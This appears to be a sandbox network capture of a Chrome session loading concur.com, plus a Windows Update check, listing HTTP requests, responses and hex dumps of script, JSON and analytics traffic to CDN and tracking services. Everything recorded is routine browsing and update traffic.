2024-10-03 08:41:26 UTC	568	OUT	OPTIONS /highlighter/prod/ConcurTechnologies/v2/aHR0cHM6Ly93d3cuY29uY3VyLmNvbQ HTTP/1.1 Host: cdn.schemaapp.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-account-id Origin: https://www.concur.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:26 UTC	801	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Date: Thu, 03 Oct 2024 08:41:27 GMT Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 bc0a0f9f99d36a68240a31a25e39addc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P1 X-Amz-Cf-Id: upLNB7pHCqLwjUGvAg1vF6eDPddjGQAcwoEIAH3Z6O2EIcn6JXdN4w== X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Max-Age: 14400 Access-Control-Allow-Headers: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49753	13.32.121.44	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:26 UTC	364	OUT	GET /javascript/highlight.js HTTP/1.1 Host: cdn.schemaapp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:26 UTC	843	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 38616 Connection: close Date: Wed, 02 Oct 2024 17:13:59 GMT x-amz-replication-status: PENDING Last-Modified: Wed, 02 Oct 2024 17:13:38 GMT ETag: "43e82ff0d8e6452d776abff54d3225f5" x-amz-server-side-encryption: AES256 x-amz-version-id: sY4Jjus2nu_BKlZuPR4yF2ytYa6TfwGA Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 8eee0c5143f92bd7600d25e3dc25ce5e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P1 X-Amz-Cf-Id: IGBvPCSzQsmhG5rRAcx1NhZoKv3MiqN1kRJqwuZsUstRFLeqmCgBIw== Age: 55648 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Origin
2024-10-03 08:41:26 UTC	16384	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 34 31 37 3a 28 74 2c 69 2c 65 29 3d 3e 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 22 74 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 69 2e 65 6e 64 70 6f 69 6e 74 73 3d 69 2e 69 3d 76 6f 69 64 20 30 3b 63 6f 6e 73 74 20 73 3d 65 28 37 33 34 29 2c 6e 3d 65 28 39 38 33 29 2c 6f 3d 65 28 31 33 31 29 2c 72 3d 65 28 38 34 36 29 2c 68 3d 65 28 39 38 39 29 2c 75 3d 65 28 38 34 34 29 2c 63 3d 65 28 32 30 29 2c 61 3d 65 28 31 31 36 29 2c 6c 3d 65 28 38 33 37 29 2c 64 3d 65 28 36 37 35 29 2c 76 3d 7b 6f 3a 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 73 63 68 65 6d 61 61 70 70 2e 63 6f 6d 2f 6d 61 72 6b 75 70 2f 6d 61 72 6b 75 70 3f 75 72 6c 3d 22 2c 68 3a 22 68 74 Data Ascii: (()=>{"use strict";var t={417:(t,i,e)=>{Object.defineProperty(i,"t",{value:!0}),i.endpoints=i.i=void 0;const s=e(734),n=e(983),o=e(131),r=e(846),h=e(989),u=e(844),c=e(20),a=e(116),l=e(837),d=e(675),v={o:"https://api.schemaapp.com/markup/markup?url=",h:"ht
2024-10-03 08:41:26 UTC	16384	IN	Data Raw: 75 6c 74 26 26 28 74 68 69 73 2e 76 61 6c 75 65 3d 6e 2c 6e 3d 62 74 6f 61 28 6e 29 2e 72 65 70 6c 61 63 65 28 2f 3d 2f 67 2c 22 22 29 29 29 2c 74 68 69 73 2e 74 61 72 67 65 74 3d 74 68 69 73 2e 74 61 72 67 65 74 2e 72 65 70 6c 61 63 65 28 22 62 61 73 65 55 52 4c 22 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 41 29 2c 74 68 69 73 2e 74 61 72 67 65 74 3d 74 68 69 73 2e 74 61 72 67 65 74 2e 72 65 70 6c 61 63 65 28 22 78 50 61 74 68 2d 69 6e 70 75 74 22 2c 6e 29 2c 74 68 69 73 2e 74 61 72 67 65 74 3d 74 68 69 73 2e 74 61 72 67 65 74 2e 72 65 70 6c 61 63 65 28 22 41 63 63 6f 75 6e 74 49 44 22 2c 6e 75 6c 6c 21 3d 3d 28 73 3d 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 48 28 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 Data Ascii: ult&&(this.value=n,n=btoa(n).replace(/=/g,""))),this.target=this.target.replace("baseURL",this.config.A),this.target=this.target.replace("xPath-input",n),this.target=this.target.replace("AccountID",null!==(s=null===(e=this.config.H())\|\|void 0===e?void 0:e
2024-10-03 08:41:26 UTC	5848	IN	Data Raw: 75 6c 6c 29 7b 74 68 69 73 2e 61 65 3d 21 30 2c 74 68 69 73 2e 74 65 6d 70 6c 61 74 65 49 64 3d 74 5b 22 40 69 64 22 5d 2c 74 68 69 73 2e 59 74 3d 6e 2c 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3d 69 3b 63 6f 6e 73 74 20 63 3d 6e 75 6c 6c 21 3d 75 3f 75 3a 74 2e 63 61 74 65 67 6f 72 69 7a 65 64 42 79 3b 74 68 69 73 2e 6c 65 3d 22 22 21 3d 3d 72 3f 72 3a 69 2e 47 28 63 29 2c 74 68 69 73 2e 64 65 3d 73 2c 74 68 69 73 2e 76 65 3d 6e 65 77 20 53 65 74 2c 74 68 69 73 2e 6f 65 3d 5b 5d 2c 74 68 69 73 2e 48 74 3d 68 3b 63 6f 6e 73 74 20 61 3d 74 2e 64 65 66 69 6e 65 64 55 52 49 3b 61 26 26 28 74 68 69 73 2e 6c 65 3d 69 2e 64 65 66 69 6e 65 64 55 52 49 28 61 29 29 2c 74 68 69 73 2e 66 65 3d 74 68 69 73 2e 70 65 3d 7b 22 40 74 79 70 65 22 3a 63 2c 22 Data Ascii: ull){this.ae=!0,this.templateId=t["@id"],this.Yt=n,this.configuration=i;const c=null!=u?u:t.categorizedBy;this.le=""!==r?r:i.G(c),this.de=s,this.ve=new Set,this.oe=[],this.Ht=h;const a=t.definedURI;a&&(this.le=i.definedURI(a)),this.fe=this.pe={"@type":c,"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49758	13.32.121.47	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:27 UTC	659	OUT	GET /highlighter/prod/ConcurTechnologies/v2/aHR0cHM6Ly93d3cuY29uY3VyLmNvbQ HTTP/1.1 Host: cdn.schemaapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" accept: application/json x-account-id: ConcurTechnologies sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.concur.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:27 UTC	1150	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 13273 Connection: close Date: Wed, 02 Oct 2024 13:43:15 GMT x-amz-replication-status: COMPLETED Last-Modified: Thu, 26 Sep 2024 12:38:44 GMT ETag: "7e2ec20addb51843ef7b6acfadff263a" x-amz-server-side-encryption: AES256 x-amz-meta-url: https://www.concur.com Cache-Control: max-age=699840 x-amz-meta-source: SchemaApp x-amz-meta-templateid: x-amz-meta-companyid: http://schemaapp.com/resources/Company/ConcurTechnologies x-amz-version-id: Lh61RpsXCBxwDSJmJxxtEC3tOQXrg8GX Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 fd4a8fa7c304171992e7f22fc8894904.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P1 X-Amz-Cf-Id: uK4yEW625E1BersxKlCLYNnYPXIkniSX8FTWSgQlmkZWPMHBkTEFzA== Age: 68293 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-amz-meta-source,x-amz-meta-accountid,x-amz-meta-url
2024-10-03 08:41:27 UTC	13273	IN	Data Raw: 7b 22 61 63 63 6f 75 6e 74 49 64 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 73 63 68 65 6d 61 61 70 70 2e 63 6f 6d 5c 2f 64 62 5c 2f 43 6f 6e 63 75 72 54 65 63 68 6e 6f 6c 6f 67 69 65 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 63 6f 6e 63 75 72 2e 63 6f 6d 22 2c 22 74 65 6d 70 6c 61 74 65 73 22 3a 5b 7b 22 40 69 64 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 73 63 68 65 6d 61 61 70 70 2e 63 6f 6d 5c 2f 72 65 73 6f 75 72 63 65 73 5c 2f 43 6f 6d 70 61 6e 79 5c 2f 43 6f 6e 63 75 72 54 65 63 68 6e 6f 6c 6f 67 69 65 73 5c 2f 54 65 6d 70 6c 61 74 65 32 30 32 31 30 33 32 39 31 36 31 30 33 34 22 2c 22 63 61 74 65 67 6f 72 69 7a 65 64 42 79 22 3a 5b 22 50 72 6f 64 75 63 74 22 2c 22 53 6f 66 74 77 61 72 65 41 70 70 6c 69 63 61 74 69 6f 6e 22 5d 2c 22 Data Ascii: {"accountId":"http:\/\/schemaapp.com\/db\/ConcurTechnologies","url":"https:\/\/www.concur.com","templates":[{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Template20210329161034","categorizedBy":["Product","SoftwareApplication"],"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49767	18.66.102.98	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:27 UTC	637	OUT	GET /api/v3/ip.json?key=cMPgQMqMk2GCukvfKSjDvyaAi6hysDbVs1EB5Qee&callback=Dmdbase_CDC.callback HTTP/1.1 Host: api.company-target.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.concur.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:28 UTC	1035	IN	HTTP/1.1 200 OK Content-Type: application/javascript;charset=utf-8 Content-Length: 2015 Connection: close Date: Thu, 03 Oct 2024 08:41:28 GMT Request-ID: cc732e2a-6a31-425b-8cd1-fa68c443a918 Server: nginx Access-Control-Allow-Origin: https://www.concur.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: x-amz-cf-id Access-Control-Max-Age: 7200 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Api-Version: v3 Identification-Source: CENTRAL Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Wed, 02 Oct 2024 08:41:28 GMT Vary: Accept-Encoding, Origin X-Cache: Miss from cloudfront Via: 1.1 b9d2ce196c8a711fb15d92175d58476e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P2 X-Amz-Cf-Id: V8SDjmZ95SfUmCamG541kTRRAOCNF1AJCJwQ1kn1AylXRoYFqUHtZA==
2024-10-03 08:41:28 UTC	2015	IN	Data Raw: 2f 2a 2a 2f 44 6d 64 62 61 73 65 5f 43 44 43 2e 63 61 6c 6c 62 61 63 6b 28 7b 22 72 65 67 69 6f 6e 5f 6e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 72 65 67 69 73 74 72 79 5f 64 6d 61 5f 63 6f 64 65 22 3a 35 30 31 2c 22 72 65 67 69 73 74 72 79 5f 63 6f 75 6e 74 72 79 5f 63 6f 64 65 33 22 3a 6e 75 6c 6c 2c 22 63 6f 6d 70 61 6e 79 5f 73 69 7a 65 22 3a 22 24 31 4d 20 2d 20 24 35 4d 22 2c 22 63 6f 6d 70 61 6e 79 5f 69 64 22 3a 32 30 39 33 38 30 30 32 2c 22 63 6f 6d 70 61 6e 79 5f 6e 61 6d 65 22 3a 22 61 64 6d 69 6e 20 65 78 70 6f 72 74 73 20 39 30 30 22 2c 22 6d 61 72 6b 65 74 69 6e 67 5f 61 6c 69 61 73 22 3a 22 61 64 6d 69 6e 20 65 78 70 6f 72 74 73 20 39 30 30 22 2c 22 61 63 63 6f 75 6e 74 5f 6f 77 6e 65 72 73 68 69 70 22 3a 22 50 72 69 76 61 74 65 Data Ascii: /**/Dmdbase_CDC.callback({"region_name":"New York","registry_dma_code":501,"registry_country_code3":null,"company_size":"$1M - $5M","company_id":20938002,"company_name":"admin exports 900","marketing_alias":"admin exports 900","account_ownership":"Private

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49759	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dpt9cWoKkzOtLrd&MD=MZuggCGt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-03 08:41:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2ae18c47-b8fd-4181-8524-9d368e84d30a MS-RequestId: c3d273ec-1b30-4024-89f4-4a1973a6f834 MS-CV: 7NzCt8NxbU2Kkypb.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 03 Oct 2024 08:41:28 GMT Connection: close Content-Length: 24490
2024-10-03 08:41:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-03 08:41:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49773	18.202.39.134	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:29 UTC	715	OUT	GET /id?d_visid_ver=5.2.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=3F8B2B31536CFF310A490D4C%40AdobeOrg&d_nsid=0&ts=1727944887869 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.concur.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:29 UTC	820	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:29 GMT Content-Type: application/json;charset=utf-8 Content-Length: 4334 Connection: close X-TID: jbdmB256QG0= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Access-Control-Allow-Origin: https://www.concur.com Vary: Origin Access-Control-Allow-Credentials: true DCS: dcs-prod-irl1-2-v065-0af13a9b0.edge-irl1.demdex.com 2 ms set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:29 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:29 UTC	4334	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 37 37 30 38 36 38 33 37 30 33 30 32 36 35 33 39 36 32 37 31 34 38 31 36 36 37 36 31 37 34 36 39 34 38 33 33 30 35 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 32 31 22 2c 22 74 74 6c 22 3a 31 34 34 30 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 30 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 30 2c 22 75 72 6c 22 3a 5b 22 2f 2f 61 61 2e 61 67 6b 6e 2e Data Ascii: {"d_mid":"77086837030265396271481667617469483305","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"21","ttl":14400,"tag":"img","fireURLSync":0,"syncOnPage":0,"url":["//aa.agkn.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49781	13.32.121.44	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:30 UTC	410	OUT	GET /highlighter/prod/ConcurTechnologies/v2/aHR0cHM6Ly93d3cuY29uY3VyLmNvbQ HTTP/1.1 Host: cdn.schemaapp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:30 UTC	1046	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 13273 Connection: close Date: Wed, 02 Oct 2024 13:43:15 GMT x-amz-replication-status: COMPLETED Last-Modified: Thu, 26 Sep 2024 12:38:44 GMT ETag: "7e2ec20addb51843ef7b6acfadff263a" x-amz-server-side-encryption: AES256 x-amz-meta-url: https://www.concur.com Cache-Control: max-age=699840 x-amz-meta-source: SchemaApp x-amz-meta-templateid: x-amz-meta-companyid: http://schemaapp.com/resources/Company/ConcurTechnologies x-amz-version-id: Lh61RpsXCBxwDSJmJxxtEC3tOQXrg8GX Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 c60125e7f3465aceafb0abd071a41a36.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P1 X-Amz-Cf-Id: 1gozvpyeg5UIMA1Wf49fEZLbB8_jni5ca2sSBRIaR0HQnQkV0MXPfA== Age: 68296 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Origin
2024-10-03 08:41:30 UTC	13273	IN	Data Raw: 7b 22 61 63 63 6f 75 6e 74 49 64 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 73 63 68 65 6d 61 61 70 70 2e 63 6f 6d 5c 2f 64 62 5c 2f 43 6f 6e 63 75 72 54 65 63 68 6e 6f 6c 6f 67 69 65 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 63 6f 6e 63 75 72 2e 63 6f 6d 22 2c 22 74 65 6d 70 6c 61 74 65 73 22 3a 5b 7b 22 40 69 64 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 73 63 68 65 6d 61 61 70 70 2e 63 6f 6d 5c 2f 72 65 73 6f 75 72 63 65 73 5c 2f 43 6f 6d 70 61 6e 79 5c 2f 43 6f 6e 63 75 72 54 65 63 68 6e 6f 6c 6f 67 69 65 73 5c 2f 54 65 6d 70 6c 61 74 65 32 30 32 31 30 33 32 39 31 36 31 30 33 34 22 2c 22 63 61 74 65 67 6f 72 69 7a 65 64 42 79 22 3a 5b 22 50 72 6f 64 75 63 74 22 2c 22 53 6f 66 74 77 61 72 65 41 70 70 6c 69 63 61 74 69 6f 6e 22 5d 2c 22 Data Ascii: {"accountId":"http:\/\/schemaapp.com\/db\/ConcurTechnologies","url":"https:\/\/www.concur.com","templates":[{"@id":"http:\/\/schemaapp.com\/resources\/Company\/ConcurTechnologies\/Template20210329161034","categorizedBy":["Product","SoftwareApplication"],"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49784	66.235.152.225	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:30 UTC	706	OUT	POST /rest/v1/delivery?client=concurtechnologies&sessionId=12c0fce70c34429588437c80568812a2&version=2.5.0 HTTP/1.1 Host: concurtechnologies.tt.omtrdc.net Connection: keep-alive Content-Length: 1728 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.concur.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:30 UTC	1728	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 49 64 22 3a 22 64 30 63 33 64 33 62 34 34 39 61 30 34 63 66 39 39 31 33 37 37 31 34 66 34 33 30 64 30 38 63 61 22 2c 22 63 6f 6e 74 65 78 74 22 3a 7b 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 31 37 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 22 2c 22 74 69 6d 65 4f 66 66 73 65 74 49 6e 4d 69 6e 75 74 65 73 22 3a 2d 32 34 30 2c 22 63 68 61 6e 6e 65 6c 22 3a 22 77 65 62 22 2c 22 73 63 72 65 65 6e 22 3a 7b 22 77 69 64 74 68 22 3a 31 32 38 30 2c 22 68 65 69 Data Ascii: {"requestId":"d0c3d3b449a04cf99137714f430d08ca","context":{"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","timeOffsetInMinutes":-240,"channel":"web","screen":{"width":1280,"hei
2024-10-03 08:41:30 UTC	840	IN	HTTP/1.1 200 OK date: Thu, 03 Oct 2024 08:41:30 GMT content-type: application/json;charset=UTF-8 vary: origin,access-control-request-method,access-control-request-headers,accept-encoding access-control-allow-origin: https://www.concur.com access-control-allow-credentials: true x-request-id: 23b3fae7-34c1-4d77-9de6-376d1ed405b8 timing-allow-origin: * accept-ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
